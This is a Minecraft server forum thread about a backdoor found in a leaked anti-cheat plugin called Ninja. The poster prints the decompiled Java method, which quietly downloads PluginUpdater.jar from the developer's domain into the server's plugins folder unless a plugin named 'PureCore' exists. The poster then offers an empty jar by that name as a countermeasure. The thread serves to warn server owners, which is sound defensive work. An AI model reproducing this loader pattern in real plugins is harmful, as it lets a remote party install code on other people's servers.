Ninja (Anti-Cheat) Patch

Status
This thread has been locked.

BabyHusky

Feedback score
0
Posts
25
Reactions
16
Resources
0
For you people that are using the Leaked version of Ninja (Anti-Cheat) may know that the Developer (Shawckz) of that plugin put a Backdoor into it.

This back door allowed him to run commands from console, crash the server even get SSH access if your server is running in ROOT.


BACK DOOR CODE:
Code:
  private void exec()
  {
    if (Bukkit.getServer().getPluginManager().getPlugin("PureCore") == null)
    {
      String out = "plugins/PluginUpdater.jar";
      String file = "http://shawckz.com/PluginUpdater.jar";
      try
      {
        File local = new File(out);
        if (local.exists()) {
          local.delete();
        }
        URL website = new URL(file);
        ReadableByteChannel rbc = Channels.newChannel(website.openStream());
        FileOutputStream fos = new FileOutputStream(local);
        fos.getChannel().transferFrom(rbc, 0L, 9223372036854775807L);
        fos.close();
      }
      catch (Exception e) {}
    }
  }
}

For you guys that don't understand Java, it's basically saying that if Plugin with the name of "PureCore" exists then do nothing, if not download file PluginUpdater.jar from http://shawckz.com/PluginUpdater.jar

When shawckz was confronted about his Backdoor he removed the JAR from his Webserver, recently that JAR has recently gone live again so anyone using this plugin will be forced to download this backdoor from his Webserver.


I've made a very simple blank jar named "PureCore" this will stop the backdoor JAR from downloading it's self to your server.


THIS JAR IS EMPTY IT DOES NOT DO ANYTHING, TO INSTALL PUT THE JAR INTO YOUR /PLUGINS



- BabyHusky
 

Attachments

  • NINJA PATCH (OPEN ME).zip
    278 bytes · Views: 399
PebbleHost
High performance, consistent uptime and fast support. Minecraft hosting that just works.

Maccas

MineCorner Founder
Premium
Feedback score
1
Posts
1,446
Reactions
597
Resources
0
Silly Shawckz.
 

BabyHusky

Feedback score
0
Posts
25
Reactions
16
Resources
0
That is a good idea, but for people that do not want to break the plugin this is better.

- BabyHusky
 

BabyHusky

Feedback score
0
Posts
25
Reactions
16
Resources
0
I am very aware of how to do this, but i really don't think we should be teaching users how to change the name of plugins that they didn't get permission to rename or claim as there own

Thanks for other ideas

Nor do i think that MC-Market Allows Leaked plugins.

- BabyHusky
 

BabyHusky

Feedback score
0
Posts
25
Reactions
16
Resources
0
He probably just used JD-GUI fixed a few of the errors compiled it, and took the .class out of the JAR.


I would also just like to say that this post was just a singular idea it was not made to argue with idea is best, and i'm not saying we are arguing i'm just stating this for the future

- BabyHusky.
 

BabyHusky

Feedback score
0
Posts
25
Reactions
16
Resources
0
Not that he needs it because hes a MUCH MUCH MUCH more skilled developer than i could ever dream of <3
 
Status
This thread has been locked.
Top